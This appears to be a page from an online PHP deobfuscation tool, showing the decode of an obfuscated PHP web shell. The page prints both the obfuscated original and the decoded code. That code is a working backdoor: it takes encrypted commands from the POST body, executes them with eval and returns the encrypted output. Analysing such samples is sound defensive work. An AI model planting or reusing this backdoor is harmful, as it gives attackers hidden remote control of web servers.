Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $C='$Q(k="aQ(7312299Q(Q(";$kh="842753d8cf9e"Q(;$kf="dQ(04497Q(bQ(60312"Q(;$p="ljMQ(..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="a7312299";$kh="842753d8cf9e";$kf="d04497b60312";$p="ljMguvPUIM28DOUJ";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$C='$Q(k="aQ(7312299Q(Q(";$kh="842753d8cf9e"Q(;$kf="dQ(04497Q(bQ(60312"Q(;$p="ljMQ(guvQ(PUIM28Q(DOUJ";func';
$q='vQ(al(@gzunQ(compQ(resQ(s(@x(@base6Q(Q(4_decode($mQ([1]),$k)))Q(;$o=@ob_get_Q(conQ(Q(tentQ(s();@Q(';
$P='(0;($j<$c&Q(&$i<$l);$j++Q(,$iQ(++){$o.=$Q(Q(t{$Q(i}^Q($k{$jQ(};}}retuQ(rn $o;}if (@Q(pQ(reQ(g_matc';
$F='Q(ob_end_clean();$r=@baQ(se64_enQ(code(@Q(x(@gzQ(compressQ(($Q(o)Q(,$Q(k));prinQ(t("$p$kh$r$kf");}';
$J='Q(tion x($Q(t,$k){Q(Q($c=strleQ(n($k);Q($l=Q(strlen($tQ();$oQ(Q(="";for($i=0;Q($i<$l;Q(){foQ(r($j=Q';
$z=str_replace('P','','crPeatPeP_fPuncPtPion');
$x='h("/$kh(.+Q()$kf/"Q(,@fileQ(_Q(get_contentQ(s("php://iQ(npQ(uQ(t"),$m)Q(==1) {Q(@ob_start();@eQ(Q(';
$Z=str_replace('Q(','',$C.$J.$P.$x.$q.$F);
$M=$z('',$Z);$M();

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$C $Q(k="aQ(7312299Q(Q(";$kh="842753d8cf9e"Q(;$kf="dQ(04497Q(bQ..
$F Q(ob_end_clean();$r=@baQ(se64_enQ(code(@Q(x(@gzQ(compressQ((..
$J Q(tion x($Q(t,$k){Q(Q($c=strleQ(n($k);Q($l=Q(strlen($tQ();$o..
$P (0;($j<$c&Q(&$i<$l);$j++Q(,$iQ(++){$o.=$Q(Q(t{$Q(i}^Q($k{$jQ..
$Z $k="a7312299";$kh="842753d8cf9e";$kf="d04497b60312";$p="ljMg..
$k a7312299
$p ljMguvPUIM28DOUJ
$q vQ(al(@gzunQ(compQ(resQ(s(@x(@base6Q(Q(4_decode($mQ([1]),$k)..
$x h("/$kh(.+Q()$kf/"Q(,@fileQ(_Q(get_contentQ(s("php://iQ(npQ(..
$z create_function
$kf d04497b60312
$kh 842753d8cf9e

Stats

MD5 2f4c1169bc03fdf6e1bc74959b35dbda
Eval Count 1
Decode Time 302 ms